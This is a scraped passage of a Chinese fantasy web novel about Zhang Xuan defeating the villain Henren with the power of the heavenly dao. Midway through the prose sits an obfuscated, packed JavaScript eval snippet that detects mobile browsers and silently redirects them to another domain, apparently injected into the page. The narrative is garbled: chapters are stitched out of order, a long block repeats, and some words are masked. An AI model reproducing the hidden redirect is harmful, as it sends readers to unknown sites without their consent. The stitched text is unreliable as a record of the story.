“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101795|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第374章 月娘知错了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 